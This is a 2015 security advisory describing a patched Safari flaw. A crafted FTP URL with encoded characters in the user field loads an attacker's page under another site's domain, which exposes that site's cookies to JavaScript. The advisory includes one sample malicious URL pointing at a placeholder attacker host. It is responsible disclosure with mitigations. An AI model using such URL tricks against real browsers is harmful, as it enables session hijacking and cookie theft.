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Safari iOS/OS X/Windows cookie vulnerability

April 12, 2015

Overview

The 4/8/2015 security updates from Apple included a patch for a Safari cross-domain vulnerability. An attacker could create web content which, when viewed by a target user, bypasses some of the normal cross-domain restrictions to access or modify HTTP cookies belonging to any website.

Most websites which allow user logins store their authentication information (usually session keys) in cookies. Access to these cookies would allow hijacking authenticated sessions. Cookies can also contain other sensitive information.

All tested Safari versions on iOS, OS X, and Windows were vulnerable. The number of affected devices may be of the order of 1 billion.

Technically, the attacker can spoof the document.domain property. It’s possible that this could lead to compromise of other resources apart from cookies. However, cookies was the only practical attack scenario found with the tested versions of Safari.

The HttpOnly and Secure cookie flags represent an important mitigating factor albeit with some caveats (see below).

Details

Safari supports the FTP URL scheme allowing HTML documents to be accessed via URLs beginning with "ftp://". These URLs can be of the form ftp://user:password@host/path. The problem arises when encoded special characters are used in the user or password parts.

Consider the following URL:

ftp://user%40ftp.attacker.tld%2Fexploit.html%23@apple.com/

If correctly interpreted, the URL refers to a document on apple.com. However, when loaded by a vulnerable browser, the network layer uses an extraneously decoded version of the URL:

ftp://user@ftp.attacker.tld/exploit.html#apple.com/

The document would be loaded from ftp.attacker.tld, not apple.com. Yet the document properties such as document.domain and document.cookie are correctly initialised using apple.com.

The attacker-supplied document, exploit.html, can therefore access and modify cookies belonging to apple.com via JavaScript.

It’s possible that cookies aren’t the only resource accessible this way, but at least recent Safari versions (tested desktop only) use the document origin instead of only host or domain for most other access control, e.g. password autofilling and geolocation permissions.

The attack can be performed on normal web pages by embedding an IFRAME pointing to an FTP URL.

Mitigating factors

The cookie attack requires JavaScript so existing cookies with the HttpOnly flag can’t be seen by the attacker. Support for this flag reportedly appeared in Safari 4. Earlier versions would be vulnerable even with the HttpOnly flag.

Safari allows (over)writing of HttpOnly cookies so the flag doesn’t prevent this vulnerability to be exploited for session fixation and similar attacks.

Cookies with the Secure flag aren’t accessible for documents loaded via FTP.

Vulnerable versions

The following versions were tested and found vulnerable:

Earlier versions weren’t available for testing, but according to available statistics their usage should be negligible.

Solution

Apple was notified on January 27, 2015. The following patches were released in April 2015:

For more information see: support.apple.com/en-us/HT201222.

Workaround

The attacker has to set up an FTP server or use an existing public one. Such server can run on any TCP/IP port number.

One way to stop such attacks (e.g. for older devices with no available patch) would be to deny all traffic to the public internet and configure the device to use a HTTP proxy located in the internal network. This should prevent access to all FTP URLs.

Credits

The vulnerability was found and researched by Jouko Pynnönen of Klikki Oy, Finland.

Update April 14, 2015: Vulnerability test

See also: Adobe fixed two critical Flash bugs.